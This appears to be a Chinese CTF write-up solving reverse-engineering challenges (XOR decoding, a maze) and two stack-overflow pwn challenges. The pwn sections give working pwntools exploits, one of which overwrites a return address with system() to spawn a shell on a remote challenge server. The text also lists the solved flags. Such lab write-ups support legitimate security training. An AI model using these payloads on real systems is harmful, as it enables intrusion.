re
1.hello re!
根据提示在ida中查看
意思是输入的字符串和v5比较
r看一下v5的内容
r看一下v5内容
拼出 flag{Welcome_To_RE_World!}
2.ReadAsm2
根据下面的代码得出flag
1 2 3 4 5 6 7 8 9
| int main(int argc, char const *argv[]) { char input[] = {0x0, 0x67, 0x6e, 0x62, 0x63, 0x7e, 0x74, 0x62, 0x69, 0x6d, 0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, 0x4e, 0x66, 0x7b, 0x71, 0x4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , 0x1c}; func(input, 28); printf("%s\n",input+1); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| 00000000004004e6 <func>: 4004e6: 55 push rbp rbp入栈 4004e7: 48 89 e5 mov rbp,rsp 4004ea: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi 第一个参数0x0入栈 4004ee: 89 75 e4 mov DWORD PTR [rbp-0x1c],esi 第二个参数0x67入栈 4004f1: c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1 将0x1写入[rbp-0x4] 4004f8: eb 28 jmp 400522 <func+0x3c> 跳转到400522 4004fa: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 将0x1传给eax 4004fd: 48 63 d0 movsxd rdx,eax 扩展 把0x1传给rdx 400500: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 把0x00传给rax 400504: 48 01 d0 add rax,rdx rax=input[1]=1 400507: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] 把0x1传给edx 40050a: 48 63 ca movsxd rcx,edx rcx=1 40050d: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18] rdx=[rbp-0x18]=input[0]=0 400511: 48 01 ca add rdx,rcx rdx=1 400514: 0f b6 0a movzx ecx,BYTE PTR [rdx] ecx=input[1] 400517: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] edx=0x1 40051a: 31 ca xor edx,ecx input与0x1异或结果存入edx 40051c: 88 10 mov BYTE PTR [rax],dl input[1]=dl 40051e: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 [rbp-0x4]++ 400522: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 将0x1传给eax 400525: 3b 45 e4 cmp eax,DWORD PTR [rbp-0x1c] 将[rbp-0x1c]和0x1比较 400528: 7e d0 jle 4004fa <func+0x14> 如果eax小于等于[rbp-0x1c]跳到4004fa 40052a: 90 nop 40052b: 5d pop rbp 40052c: c3 ret
|
意思就是input[i]和1异或
得到的assci转换成字符
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
| a = [0x0, 0x67, 0x6e, 0x62, 0x63, 0x7e, 0x74, 0x62, 0x69, 0x6d, 0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, 0x4e, 0x66, 0x7b, 0x71, 0x4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , 0x1c] s = '' for i in range(1,len(a)): s += chr(a[i]^i) print (s)
|
得到flag{read_asm_is_the_basic}
maze
根据题目推测是走迷宫问题
放进ida里
可以知道我们要输入长度为24的字符串str且格式为nctf{str}
下面的代码涉及很多lable,查看流程图比较清晰
r将ascci码转换为字符可以发现,根据这四个字符”.“ ,”0“,”o“ , “O“分别跳到不同的位置进行操作
继续往下看,可以看到迷宫问题常用的**
所以我们在hex中查看601060地址的值
1 2 3 4
| 20 20 2A 2A 2A 2A 2A 2A 2A 20 20 20 2A 20 20 2A 2A 2A 2A 20 2A 20 2A 2A 2A 2A 20 20 2A 20 2A 2A 2A 20 20 2A 23 20 20 2A 2A 2A 20 2A 2A 2A 20 2A 2A 2A 20 20 20 20 20 2A 2A 2A 2A 2A 2A 2A 2A 2A
|
8x8的迷宫
我们要从(0,0)走到(4,4)”.“ ,”0“,”o“ , “O“分别代表上下左右
右下右右下下左下下下右右右右上上左左
flag:nctf{o0oo00O000oooo..OO}
When Did You Born
提示是栈溢出
开始输入很多a找溢出点,发现没找到。。
然后继续看源码
可以看到 name的地址v5 [bp-20]
age的地址 v6 [bp-18]
所以name和age之间的偏移为8
源码
要调用system(’cat flag’) 就要使age=1926,但是却又过滤了1926
结合两个变量的地址我们使用gets栈溢出,在输入name的时候覆盖age
exp:
1 2 3 4 5 6 7 8
| p.interactive()from pwn import*
p=process('./test') p.recvuntil("What's Your Birth?") p.sendline('1111') p.recvuntil("What's Your Name?") payload='a'*8+p64(1926) p.sendline(payload)
|
因为靶机关了,所以在本地建了个flag文件来测试
stack overflow
根据题目知道是栈溢出,但是在操作过程中没有找到溢出点
回到ida继续推理
a是message,s是name,s距离ebp有0x30的字节,原本希望在这里溢出,但是n=10为常量,无法实现长字节输入
跟随a,a和n在bss段,所以我们可以通过a越界溢出来覆盖n,将n覆盖为大一点的空间,这样就可以在输入name处实现溢出了
由于没有‘/bin/sh字符串,所以我们在覆盖n之后输入‘/bin/sh’,这里‘/bin/sh’的地址就在n之后
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import* #context.log_level='debug'
p=remote('182.254.217.142',10001) elf=ELF('./cgpwna') sys_addr=elf.symbols['system']
p.recvuntil('your choice:') p.sendline('1') payload1='a'*40+p32(0x80)+'/bin/sh' p.recvuntil('you can leave some message here:\n') p.sendline(payload1) payload2='a'*(0x34)+p32(sys_addr)+p32(0xaaaaaaaa)+p32(0x0804A0AC) p.recvuntil('your name please:\n') p.sendline(payload2)
p.interactive()
|